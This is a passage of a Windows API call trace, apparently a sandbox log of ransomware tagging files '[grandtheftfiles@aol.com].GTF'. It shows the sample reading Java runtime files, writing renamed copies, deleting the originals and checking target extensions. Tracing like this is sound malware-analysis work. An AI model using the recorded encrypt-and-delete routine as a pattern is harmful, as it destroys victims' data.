	[0157.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.338] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.338] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.339] GetLastError () returned 0x0
	[0157.339] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0157.343] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0157.344] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.344] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0157.345] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.345] CloseHandle (hObject=0x4c4) returned 1
	[0157.345] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.345] SetEndOfFile (hFile=0x488) returned 1
	[0157.358] CloseHandle (hObject=0x488) returned 1
	[0157.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.358] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0157.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.359] lstrlenW (lpString=".doc") returned 4
	[0157.359] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.359] lstrlenW (lpString=".docx") returned 5
	[0157.359] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0157.359] lstrlenW (lpString=".pdf") returned 4
	[0157.359] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.359] lstrlenW (lpString=".xls") returned 4
	[0157.359] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.359] lstrlenW (lpString=".xlsx") returned 5
	[0157.359] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0157.359] lstrlenW (lpString=".ppt") returned 4
	[0157.359] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.359] lstrlenW (lpString=".zip") returned 4
	[0157.359] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.359] lstrlenW (lpString=".rar") returned 4
	[0157.359] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.359] lstrlenW (lpString=".bz2") returned 4
	[0157.359] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.359] lstrlenW (lpString=".7z") returned 3
	[0157.359] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.359] lstrlenW (lpString=".dbf") returned 4
	[0157.359] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.359] lstrlenW (lpString=".1cd") returned 4
	[0157.359] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".jpg") returned 4
	[0157.360] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".doc") returned 4
	[0157.360] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.360] lstrlenW (lpString=".docx") returned 5
	[0157.360] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0157.360] lstrlenW (lpString=".pdf") returned 4
	[0157.360] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString=".xls") returned 4
	[0157.360] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString=".xlsx") returned 5
	[0157.360] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0157.360] lstrlenW (lpString=".ppt") returned 4
	[0157.360] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".zip") returned 4
	[0157.360] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString=".rar") returned 4
	[0157.360] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.360] lstrlenW (lpString=".bz2") returned 4
	[0157.360] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.360] lstrlenW (lpString=".7z") returned 3
	[0157.360] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".dbf") returned 4
	[0157.360] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".1cd") returned 4
	[0157.360] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0157.360] lstrlenW (lpString=".jpg") returned 4
	[0157.360] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.361] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0157.361] lstrlenW (lpString="flavormap.properties") returned 20
	[0157.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.361] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3928) returned 1
	[0157.361] CloseHandle (hObject=0x488) returned 1
	[0157.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0157.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.362] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.362] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.363] GetLastError () returned 0x0
	[0157.363] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xf58, lpOverlapped=0x0) returned 1
	[0157.364] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf60, lpOverlapped=0x0) returned 1
	[0157.365] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.365] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0157.366] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.366] CloseHandle (hObject=0x4c4) returned 1
	[0157.366] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.366] SetEndOfFile (hFile=0x488) returned 1
	[0157.368] CloseHandle (hObject=0x488) returned 1
	[0157.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.369] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".doc") returned 4
	[0157.370] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".docx") returned 5
	[0157.370] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0157.370] lstrlenW (lpString=".pdf") returned 4
	[0157.370] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".xls") returned 4
	[0157.370] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".xlsx") returned 5
	[0157.370] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0157.370] lstrlenW (lpString=".ppt") returned 4
	[0157.370] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".zip") returned 4
	[0157.370] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".rar") returned 4
	[0157.370] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".bz2") returned 4
	[0157.370] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString=".7z") returned 3
	[0157.370] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".dbf") returned 4
	[0157.370] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".1cd") returned 4
	[0157.370] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".jpg") returned 4
	[0157.370] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.370] lstrlenW (lpString=".doc") returned 4
	[0157.371] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".docx") returned 5
	[0157.371] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0157.371] lstrlenW (lpString=".pdf") returned 4
	[0157.371] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".xls") returned 4
	[0157.371] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".xlsx") returned 5
	[0157.371] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0157.371] lstrlenW (lpString=".ppt") returned 4
	[0157.371] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.371] lstrlenW (lpString=".zip") returned 4
	[0157.371] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".rar") returned 4
	[0157.371] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".bz2") returned 4
	[0157.371] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString=".7z") returned 3
	[0157.371] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0157.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.371] lstrlenW (lpString=".dbf") returned 4
	[0157.371] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.371] lstrlenW (lpString=".1cd") returned 4
	[0157.371] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0157.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0157.371] lstrlenW (lpString=".jpg") returned 4
	[0157.371] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0157.371] lstrcmpiW (lpString1=".bfc", lpString2=".GTF") returned -1
	[0157.371] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0157.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.372] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3770) returned 1
	[0157.372] CloseHandle (hObject=0x488) returned 1
	[0157.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
	[0157.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.372] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.373] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0157.373] GetLastError () returned 0x0
	[0157.373] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xeba, lpOverlapped=0x0) returned 1
	[0157.375] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0157.376] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.376] WriteFile (in: hFile=0x4c4, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0157.376] SetEndOfFile (hFile=0x4c4) returned 1
	[0157.376] CloseHandle (hObject=0x4c4) returned 1
	[0157.376] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.376] SetEndOfFile (hFile=0x488) returned 1
	[0157.692] CloseHandle (hObject=0x488) returned 1
	[0157.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.692] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0157.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.693] lstrlenW (lpString=".doc") returned 4
	[0157.693] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0157.693] lstrlenW (lpString=".docx") returned 5
	[0157.693] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0157.693] lstrlenW (lpString=".pdf") returned 4
	[0157.693] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0157.693] lstrlenW (lpString=".xls") returned 4
	[0157.693] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0157.693] lstrlenW (lpString=".xlsx") returned 5
	[0157.693] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0157.693] lstrlenW (lpString=".ppt") returned 4
	[0157.693] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0157.693] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".zip") returned 4
	[0157.694] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".rar") returned 4
	[0157.694] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".bz2") returned 4
	[0157.694] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".7z") returned 3
	[0157.694] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".dbf") returned 4
	[0157.694] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".1cd") returned 4
	[0157.694] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".jpg") returned 4
	[0157.694] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".doc") returned 4
	[0157.694] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".docx") returned 5
	[0157.694] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0157.694] lstrlenW (lpString=".pdf") returned 4
	[0157.694] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".xls") returned 4
	[0157.694] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".xlsx") returned 5
	[0157.694] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0157.694] lstrlenW (lpString=".ppt") returned 4
	[0157.694] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.694] lstrlenW (lpString=".zip") returned 4
	[0157.694] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0157.694] lstrlenW (lpString=".rar") returned 4
	[0157.695] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0157.695] lstrlenW (lpString=".bz2") returned 4
	[0157.695] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0157.695] lstrlenW (lpString=".7z") returned 3
	[0157.695] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0157.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.695] lstrlenW (lpString=".dbf") returned 4
	[0157.695] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0157.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.695] lstrlenW (lpString=".1cd") returned 4
	[0157.695] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0157.695] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0157.695] lstrlenW (lpString=".jpg") returned 4
	[0157.695] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0157.695] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0157.695] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0157.695] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0157.990] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=80856) returned 1
	[0157.990] CloseHandle (hObject=0x4c0) returned 1
	[0157.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20
	[0158.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
